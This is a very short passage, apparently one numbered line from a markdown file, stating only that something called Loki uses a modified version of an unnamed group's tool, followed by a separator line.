**Loki** uses a modified version of their tool. 83 | --------------------------------------------------------------------------------